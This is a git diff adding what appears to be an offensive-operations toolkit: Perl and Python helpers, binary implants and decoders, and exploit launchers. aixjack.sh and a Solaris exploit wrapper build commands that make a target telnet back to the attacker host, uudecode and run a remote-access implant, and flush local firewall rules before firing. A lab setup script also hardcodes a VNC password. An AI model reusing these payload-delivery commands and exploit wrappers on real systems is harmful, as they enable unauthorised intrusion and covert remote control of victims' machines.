mydie("Unable to open $keyfile"); + $what = "binary file $keyfile"; + } else { + # keyfile is ascii, run buildkeys on it to stdout, suck that in + unless (`which buildkeys 2>/dev/null`) { + mydie("buildkeys not in PATH--required to read in ascii key file $keyfile"); + } + open(IN,"buildkeys -b $keyfile |") + or mydie("Cannot open execution of: buildkeys -b $keyfile as input"); + $what = "output of: buildkeys -b $keyfile"; + } + binmode(IN) or mydie("Unable to set IN to binmode"); + my $count = read(IN,$data,536); + mydie("ERROR: Read in $count bytes from $what -- should be 536") + unless ($count == 536); + close(IN); + # NOTE: we pack here to 540 bytes, buffer has a bit of room to spare + $string .= pack("a540",$data); + # this for debugginb...like Presets.h + # $string .= pack("a540","key"); + return $string; +}#buildbinaryargs + +sub inet_aton { + local ($ip) = (@_); + my @octets = split(/\./,$ip); + return undef if (!ipcheck($ip) or @octets > 4); + my $val = 0; + foreach (@octets) { + $val = 256*$val + $_; + } + return $val; +}#inet_aton (does IO::Socket have this already?) + +sub inet_ntoa { + local ($val) = (@_); + my ($count,@octets) = (); + while ($val) { + my $octet = $val & 0xff; + $count++; + unshift(@octets,$octet); + $val = $val >> 8; + return "ERR" if ($val and @octets >= 4); + } + unshift(@octets,0) while ($count++<4); + return join(".",@octets); +}#inet_ntoa (does IO::Socket have this already?) + +sub ipcheck { + # returns 1 iff $ipstr is in dotted decimal notation with each + # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid) + my $maxval=255; + my $minval=0; + while ($_[$#_] =~ /no/) { + if ($_[$#_] =~ /no255/) { + pop(@_); + $maxval=254; + } + if ($_[$#_] =~ /no0/) { + pop(@_); + $minval=1; + } + } + local($ipstr,$minoctets,$maxoctets) = @_; + $minoctets=abs(int($minoctets)) if defined $minoctets; + $maxoctets=abs(int($maxoctets)) if defined $maxoctets; + unless($minoctets) { + $minoctets=4 ; + } + unless (defined $maxoctets and $maxoctets <= 4 and $maxoctets > 0) { + $maxoctets=4; + } + # strip trailing "." if partial IPs allowed + $ipstr =~ s/\.$// if ($maxoctets < 4) ; + # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.") + my @octets=split(/\./,$ipstr,-1); + return 0 if (@octets < $minoctets or @octets > $maxoctets); + foreach (@octets) { + # return 0 if (empty or nondigits or <0 or >$maxval) + return 0 if (( /\D/ ) || $_ < $minval || $_ > $maxval); + # next line allows partial IPs ending in ".", ignore last + return 0 if ($minoctets == 4 and $_ eq ""); + } + return 1; +} #ipcheck + +sub strmunge { + # $e = ($c*53)&0xff to munge + # $c = ($e*29)&0xff to unmunge + local($str,$len) = (@_); + $len = 256 unless $len; + my @newstr = (); + for ($i = 0 ; $i < length($str) ; $i++) { + push(@newstr, (53 * ord(substr($str,$i,1))) & 0xff); + } + # why 'c' here and not 'a'? Don't care, this works. + return pack("c$len",@newstr); +}#strmunge + +sub getinput { + local($prompt,$default,@allowed) = @_; + local($ans,$tmp,%other) = (); + $other{"Y"} = "N" ; $other{"N"} = "Y" ; + if ($other{$default}) { + push(@allowed,$other{$default}) ; + } + chomp($default); + SUB: while (1) { + print STDERR $prompt; + if ($default) { + print STDERR " [$default] "; + } else { + print STDERR " "; + } + chomp($ans = ); + $ans = $default if ( $ans eq "" ); + last SUB if ($#allowed < 0) ; + foreach ($default,@allowed) { + last SUB if $ans =~ /^$_/i ; + } + print STDERR "\n\a${COLOR_FAILURE}Invalid response.\n$COLOR_NORMAL\n"; + sleep 1; + } + return $ans; +} # getinput diff --git a/Linux/bin/Perlfind b/Linux/bin/Perlfind new file mode 100755 index 0000000..c562da7 --- /dev/null +++ b/Linux/bin/Perlfind @@ -0,0 +1,124 @@ +#! /usr/bin/perl -w + eval 'exec /usr/bin/perl -S $0 ${1+"$@"}' + if 0; #$running_under_some_shell + +use strict; +use File::Find (); +use Getopt::Long; + +# Set the variable $File::Find::dont_use_nlink if you're using AFS, +# since AFS cheats. + +# for the convenience of &wanted calls, including -eval statements: +use vars qw/*name *dir *prune/; +*name = *File::Find::name; +*dir = *File::Find::dir; +*prune = *File::Find::prune; + +my $findmounts = $ENV{'F'}; + +my @fdirs = split(/ /, $findmounts); + +printf " inode mode link owner group size mtime atime ctime filename\n"; + +sub wanted; +sub ls (); + +my @rwx = qw(--- --x -w- -wx r-- r-x rw- rwx); +my @moname = qw(Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec); + +my (%uid, %user); +while (my ($name, $pw, $uid) = getpwent) { + $user{$uid} = $name unless exists $user{$uid}; +} + +my (%gid, %group); +while (my ($name, $pw, $gid) = getgrent) { + $group{$gid} = $name unless exists $group{$gid}; +} + + +# Traverse desired filesystems + + +File::Find::find({wanted => \&wanted},@fdirs); +exit; + + +sub wanted { + my ($dev,$ino,$mode,$nlink,$uid,$gid); + + (($dev,$ino,$mode,$nlink,$uid,$gid) = lstat($_)) && + ls && + !($File::Find::prune |= ($dev != $File::Find::topdev)); +} + + +sub sizemm { + my $rdev = shift; + sprintf("%3d, %3d", ($rdev >> 8) & 0xff, $rdev & 0xff); +} + +sub ls () { + my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size, + $atime,$mtime,$ctime,$blksize,$blocks) = lstat(_); + my $pname = $name; + + $blocks + or $blocks = int(($size + 1023) / 1024); + + my $perms = $rwx[$mode & 7]; + $mode >>= 3; + $perms = $rwx[$mode & 7] . $perms; + $mode >>= 3; + $perms = $rwx[$mode & 7] . $perms; + substr($perms, 2, 1) =~ tr/-x/Ss/ if -u _; + substr($perms, 5, 1) =~ tr/-x/Ss/ if -g _; + substr($perms, 8, 1) =~ tr/-x/Tt/ if -k _; + if (-f _) { $perms = '-' . $perms; } + elsif (-d _) { $perms = 'd' . $perms; } + elsif (-l _) { $perms = 'l' . $perms; $pname .= ' -> ' . readlink($_); } + elsif (-c _) { $perms = 'c' . $perms; $size = sizemm($rdev); } + elsif (-b _) { $perms = 'b' . $perms; $size = sizemm($rdev); } + elsif (-p _) { $perms = 'p' . $perms; } + elsif (-S _) { $perms = 's' . $perms; } + else { $perms = '?' . $perms; } + + my $user = $user{$uid} || $uid; + my $group = $group{$gid} || $gid; + + #mtime + my ($msec,$mmin,$mhour,$mmday,$mmon,$mtimeyear) = localtime($mtime); + $mtimeyear += 1900; + my $mmtime = sprintf("%02d:%02d:%02d %d", $mhour, $mmin, $msec, $mtimeyear); + + #atime + my ($asec,$amin,$ahour,$amday,$amon,$atimeyear) = localtime($atime); + $atimeyear += 1900; + my $aatime = sprintf("%02d:%02d:%02d %d", $ahour, $amin, $asec, $atimeyear); + + #ctime + my ($csec,$cmin,$chour,$cmday,$cmon,$ctimeyear) = localtime($ctime); + $ctimeyear += 1900; + my $cctime = sprintf("%02d:%02d:%02d %d", $chour, $cmin, $csec, $ctimeyear); + + printf "%7lu %-10s %4d %-8s %-8s %10s | %s %2d %5s | %s %2d %5s | %s %2d %5s | %s\n", + $ino, + $perms, + $nlink, + $user, + $group, + $size, + $moname[$mmon], + $mmday, + $mmtime, + $moname[$amon], + $amday, + $aatime, + $moname[$cmon], + $cmday, + $cctime, + $pname; + 1; +} + diff --git a/Linux/bin/README.ys b/Linux/bin/README.ys new file mode 100644 index 0000000..1b5a396 --- /dev/null +++ b/Linux/bin/README.ys @@ -0,0 +1,8 @@ + +OCT 2005 + +ys.auto is the newest/best wrapper to use + +NEW: No longer need nc.YS, just use the regular nc (ys.auto reflects this). + + diff --git a/Linux/bin/SSH b/Linux/bin/SSH new file mode 100755 index 0000000..606e187 --- /dev/null +++ b/Linux/bin/SSH @@ -0,0 +1,134 @@ +#!/usr/bin/env perl +$VER="1.0.0.3" ; + +myinit(); +if (-s "/root/.ssh/known_hosts") { + mywarn("Wiping /root/.ssh/known_hosts\n\n"); + unlink "/root/.ssh/known_hosts"; + $wiped = "\nJust wiped /root/.ssh/known_hosts\n\n"; + sleep 2; +} + +# Took this out from print below as we wipe it now in script. +# Clear known_hosts +#[ -e /root/.ssh/known_hosts ] && cat /dev/null > /root/.ssh/known_hosts +print < 0; +} diff --git a/Linux/bin/ScaldwedDecode b/Linux/bin/ScaldwedDecode new file mode 100755 index 0000000..45f4159 Binary files /dev/null and b/Linux/bin/ScaldwedDecode differ diff --git a/Linux/bin/ScaldwedDecode_v.1.0.4.1 b/Linux/bin/ScaldwedDecode_v.1.0.4.1 new file mode 100755 index 0000000..45f4159 Binary files /dev/null and b/Linux/bin/ScaldwedDecode_v.1.0.4.1 differ diff --git a/Linux/bin/Seconddate_CnC b/Linux/bin/Seconddate_CnC new file mode 100755 index 0000000..c4fc239 Binary files /dev/null and b/Linux/bin/Seconddate_CnC differ diff --git a/Linux/bin/Store b/Linux/bin/Store new file mode 100755 index 0000000..99c051a Binary files /dev/null and b/Linux/bin/Store differ diff --git a/Linux/bin/Suctionchar_Decode_v_2.0.7.5 b/Linux/bin/Suctionchar_Decode_v_2.0.7.5 new file mode 100755 index 0000000..ee0b426 Binary files /dev/null and b/Linux/bin/Suctionchar_Decode_v_2.0.7.5 differ diff --git a/Linux/bin/Suctionchar_Decode_v_3.0 b/Linux/bin/Suctionchar_Decode_v_3.0 new file mode 100755 index 0000000..6e3dad3 Binary files /dev/null and b/Linux/bin/Suctionchar_Decode_v_3.0 differ diff --git a/Linux/bin/Suctionchar_Decode_v_3.2 b/Linux/bin/Suctionchar_Decode_v_3.2 new file mode 100755 index 0000000..50e9ae6 Binary files /dev/null and b/Linux/bin/Suctionchar_Decode_v_3.2 differ diff --git a/Linux/bin/Suctionchar_Decode_v_3.3 b/Linux/bin/Suctionchar_Decode_v_3.3 new file mode 100755 index 0000000..52ee0be Binary files /dev/null and b/Linux/bin/Suctionchar_Decode_v_3.3 differ diff --git a/Linux/bin/Suctionchar_Decode_v_3.n b/Linux/bin/Suctionchar_Decode_v_3.n new file mode 100755 index 0000000..a2a021d Binary files /dev/null and b/Linux/bin/Suctionchar_Decode_v_3.n differ diff --git a/Linux/bin/Suite-Select-Linux b/Linux/bin/Suite-Select-Linux new file mode 100755 index 0000000..25db710 --- /dev/null +++ b/Linux/bin/Suite-Select-Linux @@ -0,0 +1,104 @@ +#!/bin/bash +check=0 +X=0 +localsite=North + +while [ "$check" != 1 ] +do + +echo +echo +echo "**********************************************************" +echo "$localsite Linux Suite Selector" +echo "************************************************v1.0******" +echo +echo +echo +echo +echo +echo "(1) What is the Local Suite number between 1 - 80" +echo +echo +echo +echo +echo +echo +echo +echo + + +echo "Please enter the Suite number (number): " + +read number + +if [ "$number" -gt "0" ] ; then +if [ "$number" -lt "81" ] ; then check=1 +fi +else check=0 +fi + +done + +echo "$number" > /suite.txt + +offset=10 + +host=$[offset+2*number+number] +WinOP=$[host+1] +Analyst=$[host+2] + +W=10 + +Y=130 +Z=$host +GW=1 + + +rm -f /root/Desktop/LaunchVNC + +####### Modify the smb.conf file to listen for the correct network ################# +cp -f /etc/samba/smb.conf.orig /etc/samba/smb.conf +cp -f /etc/samba/smb.conf /etc/samba/smb.conf.orig +sed -e 's/\(hosts allow = *\).*/\110.'$X'.130.0\/24 127.0.0.1\/32/g' \ + -e 's/\(interfaces = *\).*/\110.'$X'.130.0\/24 127.0.0.1\/32/g' /etc/samba/smb.conf > /etc/samba/smb.conf.new + +mv -f /etc/samba/smb.conf.new /etc/samba/smb.conf +####### Modify the smb.conf file to listen for the correct network ################# + +echo x11vnc -rfbport 2100 -display :0 -shared -passwd gimme123 -wireframe -allinput -notruecolor -solid darkblue -viewonly -nosetclipboard -allow 10.$X.130.$Analyst -listen $W.$X.$Y.$host > /root/Desktop/LaunchVNC + +chmod 755 /root/Desktop/LaunchVNC +#################################################################################### + + +cat < 8888" + echo "GET / HTTP/1.0[RET][RET]" + echo "Tells you the ad is there and its version (=> os_version)" + echo "" + echo "Usage: ${0} [options] -- [options to ]" + echo " -i (required)" + echo " -v <1> Sol 2.7 <2> Sol 2.6 def=1" + echo " -l (required)" + echo " -n (no default)" + echo " -f (required)" + echo " -D def= $DIR" + echo " -S def= $SCRIPT" + exit 1 +} + +# There must be at least one argument +if [ ${#} -eq 0 ]; then + usage +fi + +# +# Process args +# +# New style options + while getopts i:v:l:n:f:D:S: op; do + case $op in + i) REMOTE_IP="$OPTARG";; + v) version="$OPTARG";; + l) LOCAL_IP="$OPTARG";; + n) LOCAL_PORT="$OPTARG";; + f) RUN_FILE="$OPTARG";; + D) DIR="$OPTARG";; + S) SCRIPT="$OPTARG";; + esac + done + shift `expr $OPTIND - 1` + + # Check for required args + [ -z "$REMOTE_IP" ] && echo "Error: missing remote IP" && usage + [ -z "$LOCAL_IP" ] && echo "Error: missing local IP" && usage + [ -z "$LOCAL_PORT" ] && echo "Error: missing local PORT" && usage + [ -z "$RUN_FILE" ] && echo "Error: missing File to run" && usage +if [ ${version} != "1" -a ${version} != "2" ]; then + echo "Error: Wrong remote os version" && usage +fi +EXTRA="${*}" + + +echo "running: ab ${version} ${REMOTE_IP} ..." +echo "--> my IP is $LOCAL_IP" +echo "--> port to telnet to is $LOCAL_PORT" +echo "--> xfering and running $RUN_FILE" +echo "--> using tmp file $SCRIPT" +echo "--> using tmp dir $DIR" +echo " " + +#exit 0 + +./ab ${version} ${REMOTE_IP} \ + "/bin/echo \"/bin/mkdir ${DIR} +cd ${DIR} +/bin/telnet ${LOCAL_IP} ${LOCAL_PORT} | /usr/bin/uudecode +/usr/bin/uncompress -f ${RUN_FILE}.Z +/bin/chmod 0700 ${DIR}/${RUN_FILE} +PATH=${DIR} ${RUN_FILE} ${EXTRA} +/bin/rm ${SCRIPT} +\" > ${SCRIPT} && +/bin/sh ${SCRIPT}" + diff --git a/Linux/bin/addkey.py b/Linux/bin/addkey.py new file mode 100755 index 0000000..f10def5 --- /dev/null +++ b/Linux/bin/addkey.py @@ -0,0 +1,214 @@ +#!/usr/bin/env python +version = '1.0.0.0' + +import os +import re +import sys +import math +import getopt +import os.path +import binascii +import subprocess + +STOREBIN = 'Store' + +def compute_mu(n, radix_bits=32): + + b = 2**radix_bits + k = 1 + + while n >= b**k: + k += 1 + + return long(b**(2*k)/n) + + +def get_hex_bytes(data, i): + + num = '' + + while i < len(data): + if data[i].startswith(' '): + bytes = data[i].strip().split(':') + if bytes[-1] == '': + bytes.pop() + num += ''.join(bytes) + i += 1 + else: + i += 1 + break + + if num[0:2] == '00': + num = num[2:] + + return binascii.unhexlify(num) + + +def get_idx(data, s): + + i = 0 + + while i < len(data): + if data[i].startswith(s): + i += 1 + break + i += 1 + + return i + + +def fix_num(n): + + if n[-1] == 'L' or n[-1] == 'l': + n = n[:-1] + if len(n) % 2 == 1: + n = '0%s' % (n) + + return n + + +def get_key_params(keyfile): + + try: + f = open(keyfile) + data = f.readlines() + f.close() + except: + print 'ERROR: Could not open "%s"' % (keyfile) + return None + + i = get_idx(data, 'prime1') + p = get_hex_bytes(data, i) + i = get_idx(data, 'prime2') + q = get_hex_bytes(data, i) + + p_num = long(binascii.hexlify(p), 16) + q_num = long(binascii.hexlify(q), 16) + + i = get_idx(data, 'modulus') + m = get_hex_bytes(data, i) + i = get_idx(data, 'exponent1') + dp = get_hex_bytes(data, i) + i = get_idx(data, 'exponent2') + dq = get_hex_bytes(data, i) + i = get_idx(data, 'coefficient') + qinv = get_hex_bytes(data, i) + i = get_idx(data, 'publicExponent') + exp_num = long(data[i-1].split()[1]) + + i = get_idx(data, 'clientAuth') + cli = get_hex_bytes(data, i) + i = get_idx(data, 'serverAuth') + svr = get_hex_bytes(data, i) + + mup_num = compute_mu(p_num) + muq_num = compute_mu(q_num) + mu_num = compute_mu(p_num*q_num) + + exp = binascii.unhexlify(fix_num(hex(exp_num)[2:])) + mup = binascii.unhexlify(fix_num(hex(mup_num)[2:])) + muq = binascii.unhexlify(fix_num(hex(muq_num)[2:])) + mu = binascii.unhexlify(fix_num(hex(mu_num)[2:])) + + params = {} + params['m'] = m + params['mu'] = mu + params['exp'] = exp + params['p'] = p + params['q'] = q + params['dp'] = dp + params['dq'] = dq + params['qinv'] = qinv + params['mup'] = mup + params['muq'] = muq + params['cli'] = cli + params['svr'] = svr + + return params + + +def usage(prog): + + print 'usage: %s [-p] [-s storebin] -k keyfile [binary ...]\n' % (prog) + print 'options:' + print ' -p add the private key to the binary' + print ' NOTE: should ONLY be done for the client binary' + print ' -k keyfile the key text file to inject' + print ' -s storebin use storebin as the Store executable\n' + sys.exit(1) + +def main(): + + addpriv = False + keyfile = None + storebin = STOREBIN + + if len(sys.argv) == 1: + usage(sys.argv[0]) + + try: + opts, args = getopt.getopt(sys.argv[1:], 'hvps:k:') + except getopt.GetoptError, err: + print str(err) + usage(sys.argv[0]) + + for o, a in opts: + if o == '-h': + usage(sys.argv[0]) + elif o == '-v': + print '%s version %s' % (os.path.basename(sys.argv[0]), version) + sys.exit(0) + elif o == '-p': + addpriv = True + elif o == '-k': + keyfile = a + elif o == '-s': + storebin = a + + if len(args) < 1: + print 'ERROR: No binary specified' + usage(sys.argv[0]) + + if keyfile == None or not os.path.exists(keyfile): + print 'ERROR: key file "%s" does not exist' % (keyfile) + sys.exit(1) + + for f in args: + if not os.path.exists(f): + print 'ERROR: "%s" does not exist' % (f) + sys.exit(1) + + key_params = get_key_params(keyfile) + if key_params == None: + exit(1) + + for k in key_params.iterkeys(): + p = binascii.hexlify(key_params[k]) + p_arr = [ p[i:i+2] for i in xrange(0, len(p), 2) ] + p_arr.reverse() + key_params[k] = '\\\\x%s' % ('\\\\x'.join(p_arr)) + + for b in args: + print 'Storing: %s' % (b) + + os.system('%s --file="%s" --wipe > /dev/null' % (storebin, b)) + os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['cli'], storebin, b, 'cli')) + os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['svr'], storebin, b, 'svr')) + + if addpriv: + os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['p'], storebin, b, 'p')) + os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['q'], storebin, b, 'q')) + os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['dp'], storebin, b, 'dp')) + os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['dq'], storebin, b, 'dq')) + os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['qinv'], storebin, b, 'qinv')) + os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['mup'], storebin, b, 'mup')) + os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['muq'], storebin, b, 'muq')) + else: + os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['m'], storebin, b, 'm')) + os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['mu'], storebin, b, 'mu')) + os.system('/bin/bash -c \'echo -ne %s | %s --file="%s" --set="%s" > /dev/null\'' % (key_params['exp'], storebin, b, 'exp')) + #os.system('%s --file="%s" --list' % (storebin, b)) + + +if __name__ == '__main__': + main() diff --git a/Linux/bin/aixjack.sh b/Linux/bin/aixjack.sh new file mode 100755 index 0000000..66c04da --- /dev/null +++ b/Linux/bin/aixjack.sh @@ -0,0 +1,219 @@ +#!/bin/bash +PROG=`basename $0` +echo -e "\n\n\n\n\nWelcome to CommandLine Jackladder\n\n$PROG Command Line Used: $PROG $*" +VER=1.2.0.7 + +usage () +{ +echo "Usage: ${0} +Required Options: + -l [ IP of attack machine ] + -t [ IP of target machine (actual target IP, NOT 127.0.0.1) ] + -r [ name of rat on target ] + +Other Options: + -p [ port jack is listening on (if no -p, DEFAULT=32676) ] + -u [ Upload port for Nopen (if no -u, DEFAULT=80) ] + -s [ Special Source port (if no -s, DEFAULT=16798, must be from below list) ] + -c [ Nopen Callback port (if no -c, will be in listen mode) ] + -n [ Nopen listenport (if no -c and no -n, DEFAULT=32754) ] + -d [ directory to work from/create on target (if no -d, DEFAULT=/tmp/.X11R6) ] + -i [ local redirector IP (if no -i and -R, DEFAULT=127.0.0.1) ] + -R [ turn off redirection (better think before using this) ] + -C [ use /dev/console trick for holding open telnet stdin instead of sleep ]" + +echo "" +echo "Special source ports are 3, 51, 8213, 12634, 16798, 23247" +echo "" +echo "callback on 10002" +echo " Example ${0} -l 555.1.9.2 -t 555.1.2.185 -r sendmail -u 81 -s 16798 -c 10002 -d /tmp/.scsi" +echo "callin on 32754" +echo " Example ${0} -l 555.1.9.2 -t 555.1.2.185 -r sendmail -u 81 -s 16798 -n 32754 -d /tmp/.scsi" +echo "" +echo "HP-UX Jackladder should use -C, AIX should not use -C" +echo "" +echo "$0 v.$VER" +echo "" +} + +LOCAL_IP=0 +TARGET_IP=0 +TUNNEL_IP=127.0.0.1 +RAT=0 +REDIRECT=1 +DEVCONSOLE=0 +CALLBACK_PORT=0 +DIR=/tmp/.X11R6 +SOURCE_PORT=16798 +DEST_PORT=32676 +UPLOAD_PORT=80 +LISTEN_PORT=0 + +# Must be enough cmdline args +if [ $# -lt 4 ]; then + usage + exit 1 +fi + +# Parse cmdline args +while getopts hl:t:p:u:s:r:d:n:c:i:RC optvar +do + case "$optvar" in + h) usage; exit 1;; + l) LOCAL_IP="${OPTARG}";; + t) TARGET_IP="${OPTARG}";; + r) RAT="${OPTARG}";; + p) DEST_PORT="${OPTARG}";; + u) UPLOAD_PORT="${OPTARG}";; + s) SOURCE_PORT="${OPTARG}";; + c) CALLBACK_PORT="${OPTARG}";; + n) LISTEN_PORT="${OPTARG}";; + d) DIR="${OPTARG}";; + i) TUNNEL_IP="${OPTARG}";; + R) REDIRECT="0";; + C) DEVCONSOLE="1";; + *) echo "invalid option"; usage; exit 1;; + esac +done + +# Make sure we either have listen or callback +if [ ${CALLBACK_PORT} != 0 ]; then + if [ ${LISTEN_PORT} != 0 ]; then + echo "You can not both listen and callback" + exit + fi +else + if [ ${LISTEN_PORT} = 0 ]; then + LISTEN_PORT=32754 + fi +fi + +# Need IP to call back to +if [ ${LOCAL_IP} = 0 ]; then + echo "Local IP is not set" + exit +fi + +# Target IP (not localhost, this is for tunnel pastable) +if [ ${TARGET_IP} = 0 ]; then + echo "Target IP is not set" + exit +fi + +# Rat name +if [ ${RAT} = 0 ]; then + echo "Rat name is not set" + exit +fi + +# Make pastables and commands go direct +if [ ${REDIRECT} = 0 ]; then + echo "You have decided to turn off redirection. You better be sure before" + echo "you do this. This will go directly to the target IP." + echo -n "Are you sure? (Y/N): " + read AREYOUSURE + if [ `echo ${AREYOUSURE} | grep -i "^y"` ] + then + TUNNEL_IP=${TARGET_IP} + else + echo "You are apparently not sure...bailing." + exit + fi +fi + +# Print out info, pastable, and create target command set +echo "" +echo "########################################" +echo "Local IP = ${LOCAL_IP}" +echo "Target IP = ${TARGET_IP}" +echo "Tunnel IP = ${TUNNEL_IP}" +echo "Target PORT = ${DEST_PORT}" +echo "Upload Port = ${UPLOAD_PORT}" +echo "Source Port = ${SOURCE_PORT}" +echo "Name of Rat = ${RAT}" +if [ ${CALLBACK_PORT} != 0 ]; then + echo "Nopen calling back to = ${CALLBACK_PORT}" +else + echo "Nopen will listen on = ${LISTEN_PORT}" +fi +echo "Directory to create/use = ${DIR}" + +if [ $DEVCONSOLE = 0 ]; then + TELNETCMD="sleep 120 | telnet ${LOCAL_IP} ${UPLOAD_PORT}" +else + TELNETCMD="telnet ${LOCAL_IP} ${UPLOAD_PORT} < /dev/console" +fi + +if [ ${CALLBACK_PORT} = 0 ]; then + NOPENENV="D=-l${LISTEN_PORT}" +else + NOPENENV="D=-c${LOCAL_IP}:${CALLBACK_PORT}" +fi + +JL_COMMAND="PATH=.:/bin:/usr/bin:/sbin:/usr/sbin:/usr/ucb; export PATH; TERM=vt100;export TERM;mkdir ${DIR} 2>&1;cd ${DIR} 2>&1 && ${TELNETCMD} 2>&1 | egrep -v 'Try|Conn|Esca' |uudecode && uncompress -f ${RAT}.Z && chmod 0700 ${RAT} && ${NOPENENV} ${RAT}" + +echo "" +echo "The command is ${JL_COMMAND}" +echo "########################################" +echo "" +echo "" + +echo " Your netcat line for uploading AIX Nopen:" +echo " cd /current/up; packrat ${RAT} /current/up/noserver-aix ${UPLOAD_PORT}" +echo "" +echo " Your netcat line for uploading HP-UX Nopen:" +echo " cd /current/up; packrat ${RAT} /current/up/noserver-hpux ${UPLOAD_PORT}" +echo "" + +if [ ${CALLBACK_PORT} != 0 ]; then + echo "Setup for the nopen callback" + echo "-nrtun ${CALLBACK_PORT}" + echo + echo "OR" + echo + echo "noclient -l ${CALLBACK_PORT}" +else + echo "Connect to nopen with" + echo "-nstun ${TARGET_IP}:${LISTEN_PORT}" + echo + echo "OR" + echo + echo "noclient ${TUNNEL_IP}:${LISTEN_PORT}" +fi + +if [ ${TUNNEL_IP} = "127.0.0.1" ]; then + echo "" + echo "" + echo "### Tunnel Command is:" + echo "-tunnel" + echo "l ${DEST_PORT} ${TARGET_IP} ${DEST_PORT} ${SOURCE_PORT}" + echo "r ${UPLOAD_PORT}" +fi + +FWRULES=/current/bin/fwrules.py +FULES_SAVE_FILE=/current/tmp/aixjack_`date +"%s"`_saved_rules + +echo +echo +echo "### If you ^C the script, restore the local firewall rules manually:" +echo "${FWRULES} -R ${FULES_SAVE_FILE}" +echo +echo +echo "Hit return when you are ready" + +read blah; + + +echo "Saving the current firewall rules and then flushing" +echo ${FWRULES} -S ${FULES_SAVE_FILE} -F +${FWRULES} -S ${FULES_SAVE_FILE} -F + +# Bombs away... +echo +echo LD_PRELOAD=/current/bin/connect.so CMD=\"${JL_COMMAND}\" RA=${LOCAL_IP} RP=${SOURCE_PORT} nc -p ${SOURCE_PORT} ${TUNNEL_IP} ${DEST_PORT} +LD_PRELOAD=/current/bin/connect.so CMD="${JL_COMMAND}" RA=${LOCAL_IP} RP=${SOURCE_PORT} nc -p ${SOURCE_PORT} ${TUNNEL_IP} ${DEST_PORT} + +echo +echo "Restoring firewall rules" +echo ${FWRULES} -R ${FULES_SAVE_FILE} +${FWRULES} -R ${FULES_SAVE_FILE} diff --git a/Linux/bin/alarm.pl b/Linux/bin/alarm.pl new file mode 100755 index 0000000..ae73f4c --- /dev/null +++ b/Linux/bin/alarm.pl @@ -0,0 +1,71 @@ +#!/bin/env perl +$VER="1.0.0.1"; +myinit(); + +my $ans = popalarm($content,$delaysecs); +mydie("popalarm($content,$delaysecs); + +Invalid DELAY ($ans): -d $opt_d") + unless ($ans > 0); + +printf("\n\n". + scalar gmtime(). + "Alarm will go off in $delaystr, showing this content:\n". + "=====================================================\n". + $content."\n". + "=====================================================\n". + ""); + + +sub myinit { + use File::Basename ; + + $prog = basename($0); + + my $autoutils = "../etc/autoutils" ; + foreach $autoutils ("../etc/autoutils", + "/current/etc/autoutils", + "./autoutils", + dirname($0)."/autoutils", + ) { + last if (-f $autoutils); + } + require $autoutils; + + mydie("bad option(s)") if (! Getopts( "hvc:d:" ) ); + + usage() if ($opt_h or !$opt_c or !$opt_d); + + if (-s $opt_c) { + $content = readfile($opt_c); + mydie("$opt_c does not contain any content:\n\n". + `ls -al $opt_c`) + unless (length $content); + } else { + $content = $opt_c; + } + + $delaysecs = strtoseconds($opt_d); + $delaystr = secstostr($delaysecs); + mydie("Invalid DELAY -d $opt_d") + unless ($delaysecs > 0); +} + +sub setusagetexts { + $usagetext=" +Usage: $prog + +$prog forks and backgrounds itself, waiting for its timer to expire. When +the timer expires, $prog pops up an xterm displaying the alarm content. + +OPTIONS: + + -h/-v Show usage/version + -d DELAY Delay before alarm will fire, in [#d][#h][#m]#[s] format + -c CONTENT Content of alarm - can be a string on the command line, or + a file containing the desired content. + +Usage: $prog + +"; +} diff --git a/Linux/bin/alarm.py b/Linux/bin/alarm.py new file mode 100755 index 0000000..670a5eb --- /dev/null +++ b/Linux/bin/alarm.py @@ -0,0 +1,389 @@ +#!/usr/bin/env python +version = "1.0.0.1" + +############################################################################### +# +# 17 Mar 2011 +# +# A commandline script to build and run an alarm script. When alarm expires, +# an xterm is exec'd to show alarm content. +# +############################################################################### + +import os +import sys +import re +import getopt +import time + + +######################################################### +# CONFIGURATION +######################################################### + +# +TIMEOUT = '360' + + +# Other +dbg = False + + + +######################################################### +# Functions for LOCAL ops box +######################################################### + + + + +def lo_execute(cmd): + + if dbg: + print '# ' + cmd + + outfile = os.tmpfile() + proc = subprocess.Popen(cmd, stdout=outfile, shell=True) + proc.wait() + outfile.seek(0) + output = outfile.read() + outfile.close() + + return output + + +def lo_get_rules(): + + return lo_execute(ipt + '-L -n -v --line-numbers') + + +def lo_clear_rules(): + + lo_execute(ipt + '-F') + + +def lo_set_default_rules(): + + in_rules = [ + ipt + '-t filter -P INPUT DROP', + ipt + '-t filter -A INPUT -i lo -j ACCEPT', + ipt + '-t filter -A INPUT -i eth1 -j ACCEPT', + ipt + '-t filter -A INPUT -i eth0 -p tcp -s 0.0.0.0/0 -d ' + ext_ip + ' --sport 80 -m state --state ESTABLISHED -j ACCEPT', + ipt + '-t filter -A INPUT -i eth0 -p tcp -s 0.0.0.0/0 -d ' + ext_ip + ' --sport 443 -m state --state ESTABLISHED -j ACCEPT', + ipt + '-t filter -A INPUT -i eth0 -p udp -s 0.0.0.0/0 -d ' + ext_ip + ' --sport 53 -m state --state ESTABLISHED -j ACCEPT', + ipt + '-t filter -A INPUT -i eth0 -p icmp -s 0.0.0.0/0 -d ' + ext_ip + ' -m state --state ESTABLISHED,RELATED -j ACCEPT' + ] + out_rules = [ + ipt + '-t filter -P OUTPUT DROP', + ipt + '-t filter -A OUTPUT 